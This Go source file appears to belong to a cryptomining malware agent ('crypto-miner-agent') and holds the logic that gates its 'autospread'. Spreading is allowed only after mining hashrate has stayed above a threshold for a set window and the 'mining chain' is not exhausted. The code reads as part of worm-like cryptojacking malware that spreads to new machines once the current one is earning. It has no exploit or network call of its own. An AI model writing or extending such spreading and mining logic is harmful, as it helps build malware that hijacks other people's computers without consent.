package deploy

import (
	"sync"
	"time"

	"crypto-miner-agent/config"
)

var (
	spreadGateClock   = time.Now
	spreadGateClockMu sync.Mutex
)

func spreadGateNow() time.Time {
	spreadGateClockMu.Lock()
	fn := spreadGateClock
	spreadGateClockMu.Unlock()
	return fn()
}

func setSpreadGateClock(fn func() time.Time) {
	spreadGateClockMu.Lock()
	spreadGateClock = fn
	spreadGateClockMu.Unlock()
}

type spreadGateState struct {
	mu             sync.Mutex
	stableSince    time.Time
	chainExhausted bool
	lastHashrate   float64
}

var spreadGate spreadGateState

// SetSpreadMiningTelemetry updates hashrate and chain state for autospread gating.
func SetSpreadMiningTelemetry(hashrate float64, chainExhausted bool) {
	spreadGate.mu.Lock()
	defer spreadGate.mu.Unlock()
	spreadGate.chainExhausted = chainExhausted
	spreadGate.lastHashrate = hashrate
}

func resetSpreadGateForTest() {
	spreadGate.mu.Lock()
	spreadGate.stableSince = time.Time{}
	spreadGate.chainExhausted = false
	spreadGate.lastHashrate = 0
	spreadGate.mu.Unlock()
}

// HashrateGateEnabled reports whether server policy requires stable mining before spread.
func HashrateGateEnabled(cfg config.RuntimeConfig) bool {
	return cfg.HashrateGateSpreadMin > 0 && cfg.HashrateGateHPS > 0
}

// AllowAutospread enforces earn-before-burn: stable hashrate and non-exhausted chain.
func AllowAutospread(cfg config.RuntimeConfig) (bool, string) {
	spreadGate.mu.Lock()
	exhausted := spreadGate.chainExhausted
	spreadGate.mu.Unlock()
	if exhausted {
		return false, "mining chain exhausted"
	}
	if !HashrateGateEnabled(cfg) {
		return true, ""
	}

	spreadGate.mu.Lock()
	defer spreadGate.mu.Unlock()
	now := spreadGateNow()
	if spreadGate.lastHashrate < cfg.HashrateGateHPS {
		spreadGate.stableSince = time.Time{}
		return false, "hashrate below gate threshold"
	}
	if spreadGate.stableSince.IsZero() {
		spreadGate.stableSince = now
	}
	need := time.Duration(cfg.HashrateGateSpreadMin) * time.Minute
	if now.Sub(spreadGate.stableSince) < need {
		return false, "hashrate stability window not met"
	}
	return true, ""
}

// StableMiningDurationForTest returns how long hashrate has been above threshold (tests only).
func StableMiningDurationForTest(cfg config.RuntimeConfig) time.Duration {
	if !HashrateGateEnabled(cfg) {
		return 0
	}
	spreadGate.mu.Lock()
	defer spreadGate.mu.Unlock()
	if spreadGate.stableSince.IsZero() || spreadGate.lastHashrate < cfg.HashrateGateHPS {
		return 0
	}
	return spreadGateNow().Sub(spreadGate.stableSince)
}